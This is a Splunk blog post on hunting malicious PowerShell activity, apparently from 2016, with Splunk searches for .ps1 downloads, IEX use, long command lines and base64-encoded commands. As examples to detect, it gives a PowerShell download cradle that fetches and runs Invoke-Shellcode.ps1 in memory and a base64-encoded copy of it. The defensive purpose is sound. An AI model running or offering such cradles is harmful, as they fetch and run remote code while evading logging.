SECURITY SECURITY

HellsBells, Let's Hunt PowerShells!

In the last episode of "Ryan's Tall Tales of PowerShells," I discussed my single favorite method to log PowerShell activity. Today, we shall talk about some methods to hunt the PowerShells.

In my research for our "Hunting the Known Unknowns" presentation at .conf2016, I mentally broke malicious PowerShell toolsets into two methodologies: collection of scripts and agent based. These techniques are best exemplified by the tools PowerSploit and PowerShell Empire. PowerSploit can be thought of as a library of PowerShell scripts that actors can use to exploit machines, exfiltrate data and much more. PowerShell Empire can be thought of as "Metasploit" for PowerShell. It acts as a framework and controller that listens to PowerShell agents that are running on victims' machines.

The good news is that none of that matters when you are trying to detect them on your network or host. They both run...PowerShell. In this blog post, I will quickly outline some methods for detecting either "methodology" and give some examples that could be quickly built upon. This article assumes that you have some or all of the following:

  1. A recent version of PowerShell (4.0/5.0)
  2. PowerShell CommandLineProcess logging turned on
  3. PowerShell Module logging enabled
  4. Some sort of web logs for hosts

 

Collections of Scripts

As discussed, PowerSploit is a collection of PowerShell scripts that adversaries download and execute. But unlike most toolsets that computer network defense (CND) operatives deal with, PowerShell scripts can be downloaded and executed in memory using a "Download Cradle." This "cradle" allows users to actually import modules into PowerShell and execute them without ever leaving evidence on the physical machine. However, since you are a clever monkey and enabled "ALL THE LOGS" we can now see some of this behavior. Let's first concentrate on detecting lazy hackers who use IEX. Their command might look a little something like this:

powershell.exe -exec bypass –noprofile –c iex(New-Object Net.WebClient).DownloadString
('http://10.0.2.210:8081/CodeExecution/Invoke-Shellcode.ps1')

 

We see powershell.exe executing but it runs with the -exec, -noprofile and -c flags. The option "-exec bypass" means powershell.exe will EXECute unsigned scripts without warning.  "-noprofile" disregards any "profile" settings that powershell.exe would normally slurp up. This flag is what prevents powershell.exe from writing "transcripts" even if you have the GPO setting configured. Finally, the "-c" is short for "-Command."  "-Command" tells PowerShell to run the text between the quotation marks as PowerShell commands.

Got it? Sweetness. Lets move on.

The second part is the actual download cradle. It goes off to the 10.0[.]2.210 website and and installs that "Invoke-Shellcode.ps1" script into memory as a PowerShell module. Now that PowerShell has this "Invoke-Shellcode" module installed, you can use the commands from the "Invoke-Shellcode" modle to run forensically obscured naughtyness in PowerShell.

So how do we hunt this?

Splunk Search for Network Traffic Going to .ps1 Domains

index=* sourcetype=stream:http
| where like(uri, "%.ps1")
| rex field=uri "\/(?<script_name>[^\/]+(?=$))"
| eval dest_content=substr(dest_content,1,100)
| stats VALUES(dest_content) VALUES(uri) by dest_ip

Splunk Search for IEX

index=* sourcetype="WinEventLog:Security" Process_Command_Line=*
| eval Process_Command_Line=lower(Process_Command_Line)
| search Process_Command_Line=*iex*new-object*
| stats VALUES(Process_Command_Line) BY host

But let's say our adversary is smarter than the average bear...

What if they encode their command with base64? PowerShell allows the execution of base64 commands to allow the execution of quotation marks and curly braces. However, evil 400-pound hackers can also use this capability to hide their malicousiocity from the view of valient CND folks. So what does it look like?

powershell.exe -exec bypass –noprofile -EncodedCommand aQBlAHgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAwAC4AMQAxADQALgAxADEAMQAuADIAMAA0AC8AQwBvAGQAZQBFAHgAZQBjAHUAdABpAG8AbgAvAEkAbgB2AG8AawBlAC0AUwBoAGUAbABsAGMAbwBkAGUALgBwAHMAMQAiACkA 

Right off the bat you should see some differences. The base64 encoding looks UGLY! And it is. Ryan Chapman and Lisa Tawfall have a great search in their .conf2016 presentation "PowerShell Power Hell: Hunting for Malicious Use of PowerShell with Splunk" where they extract and decode the base64 text out of the Process_Command_Line field created by a tool called WLS!

However, I found that you can actually just start with looking for long Process_Command_Line fields! Super easy and—when combined with a FalsePositive lookup table—extremely powerful. You could also look at using shannon entropy with the URL Toolbox app but (suprisingly) I didn't find this to be as accurate.

Search for Encoded Traffic (Notice that it isn’t first. This is where whitelisting would come into play)

sourcetype="WinEventLog:Security" Process_Command_Line=*
| eval length=len(Process_Command_Line)
| table length, Process_Command_Line
| sort -length

Of course, if you WANT to replicate the work done by Lisa and Ryan, I am happy to help. The search below requires the install of the DECRYPT app. Also, the search below is slightly modified from their talk to use CIM/regular windows logs.

index=* EventCode=4688
| rex field=Process_Command_Line "-((?i)enc|encodedcommand|encode|en)\s\'?(?<base64_command>\w{20,1000}\=?\=?)\'?"
| decrypt field=base64_command atob()
emit('base64_decoded_command')
| stats count by base64_decoded_command

Okay, I know this was late, but until next time…happy hunting!

Ryan Kovar
Posted by Ryan Kovar

NY. AZ. Navy. SOCA. KBMG. DARPA. Splunk.

Join the Discussion